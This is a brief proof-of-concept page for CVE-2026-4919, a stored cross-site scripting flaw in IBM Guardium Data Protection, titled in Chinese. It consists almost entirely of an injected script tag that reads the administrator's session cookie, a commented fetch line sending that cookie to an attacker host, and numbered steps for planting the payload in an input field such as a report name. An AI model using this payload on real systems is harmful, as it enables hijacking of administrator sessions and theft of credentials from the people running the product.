CVE-2026-4919 IBM Guardium Data Protection存储型XSS漏洞

<!-- PoC for CVE-2026-4919: Stored XSS in IBM Guardium Data Protection Description: Inject a script to execute in the context of the admin session. --> <script> // Example payload to demonstrate cookie theft alert('XSS Vulnerability Confirmed: ' + document.cookie); // In a real attack, this would be an exfiltration request: // fetch('http://attacker.com/steal?c=' + document.cookie); </script> <!-- Instructions: 1. Login as an Administrator. 2. Locate a vulnerable input field (e.g. report name, user description). 3. Paste the script tag above. 4. Save the data. 5. Navigate to the page displaying the data to observe execution. -->